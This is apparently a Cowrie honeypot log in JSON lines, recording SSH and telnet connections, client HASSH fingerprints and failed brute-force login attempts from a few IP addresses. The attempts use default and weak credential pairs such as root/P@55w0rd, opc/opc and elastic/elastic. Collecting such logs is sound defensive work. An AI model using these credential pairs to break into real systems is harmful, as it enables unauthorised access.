{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:46.823190Z","src_ip":"89.223.69.22","session":"054309b85d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14725","message":"login attempt [root/14725] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:47.163025Z","src_ip":"89.223.69.22","session":"054309b85d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:48.279169Z","src_ip":"89.223.69.22","session":"054309b85d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43734,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8c7aa26fa66","protocol":"ssh","message":"New connection: 193.151.144.93:43734 (10.17.0.5:22) [session: a8c7aa26fa66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:50.006796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:50.016062Z","src_ip":"193.151.144.93","session":"a8c7aa26fa66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:50.192212Z","src_ip":"193.151.144.93","session":"a8c7aa26fa66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:50.734364Z","src_ip":"193.151.144.93","session":"a8c7aa26fa66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:52.803626Z","src_ip":"193.151.144.93","session":"a8c7aa26fa66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.210.50.17","src_port":24624,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbd83115d129","protocol":"telnet","message":"New connection: 115.210.50.17:24624 (159.203.135.109:23) [session: cbd83115d129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:52.954954Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55424,"dst_ip":"10.17.0.5","dst_port":22,"session":"14c2d5855a5c","protocol":"ssh","message":"New connection: 193.151.144.93:55424 (10.17.0.5:22) [session: 14c2d5855a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:55.450870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:55.456464Z","src_ip":"193.151.144.93","session":"14c2d5855a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:55.637403Z","src_ip":"193.151.144.93","session":"14c2d5855a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:56.153349Z","src_ip":"193.151.144.93","session":"14c2d5855a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:58.205443Z","src_ip":"193.151.144.93","session":"14c2d5855a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69133520126343,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:58.763479Z","src_ip":"69.4.83.194","session":"744dc8fd84cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36582,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9aab8ee542f","protocol":"ssh","message":"New connection: 193.151.144.93:36582 (10.17.0.5:22) [session: d9aab8ee542f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:01.107504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:01.113427Z","src_ip":"193.151.144.93","session":"d9aab8ee542f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:01.290284Z","src_ip":"193.151.144.93","session":"d9aab8ee542f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:01.819944Z","src_ip":"193.151.144.93","session":"d9aab8ee542f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:03.000976Z","src_ip":"193.151.144.93","session":"d9aab8ee542f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.416436433792114,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:05.371292Z","src_ip":"115.210.50.17","session":"cbd83115d129","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36598,"dst_ip":"10.17.0.5","dst_port":22,"session":"44a5a15847a7","protocol":"ssh","message":"New connection: 193.151.144.93:36598 (10.17.0.5:22) [session: 44a5a15847a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:06.493799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:06.501195Z","src_ip":"193.151.144.93","session":"44a5a15847a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:06.672330Z","src_ip":"193.151.144.93","session":"44a5a15847a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:07.183284Z","src_ip":"193.151.144.93","session":"44a5a15847a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:08.806156Z","src_ip":"193.151.144.93","session":"44a5a15847a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43790,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0578efd58d","protocol":"ssh","message":"New connection: 193.151.144.93:43790 (10.17.0.5:22) [session: fa0578efd58d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:11.993037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:11.999410Z","src_ip":"193.151.144.93","session":"fa0578efd58d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:12.182328Z","src_ip":"193.151.144.93","session":"fa0578efd58d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:12.685184Z","src_ip":"193.151.144.93","session":"fa0578efd58d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:13.866680Z","src_ip":"193.151.144.93","session":"fa0578efd58d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43802,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a52365987ca","protocol":"ssh","message":"New connection: 193.151.144.93:43802 (10.17.0.5:22) [session: 5a52365987ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:17.461017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:17.465837Z","src_ip":"193.151.144.93","session":"5a52365987ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:17.632650Z","src_ip":"193.151.144.93","session":"5a52365987ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:18.118845Z","src_ip":"193.151.144.93","session":"5a52365987ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:19.284019Z","src_ip":"193.151.144.93","session":"5a52365987ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33976,"dst_ip":"10.17.0.5","dst_port":22,"session":"5969d1770a91","protocol":"ssh","message":"New connection: 193.151.144.93:33976 (10.17.0.5:22) [session: 5969d1770a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:23.176656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:23.182962Z","src_ip":"193.151.144.93","session":"5969d1770a91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:23.347965Z","src_ip":"193.151.144.93","session":"5969d1770a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:23.842249Z","src_ip":"193.151.144.93","session":"5969d1770a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:25.009972Z","src_ip":"193.151.144.93","session":"5969d1770a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33986,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9b30fd1994d","protocol":"ssh","message":"New connection: 193.151.144.93:33986 (10.17.0.5:22) [session: e9b30fd1994d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:28.836713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:07:28.842714Z","src_ip":"193.151.144.93","session":"e9b30fd1994d","protocol":"ssh"}
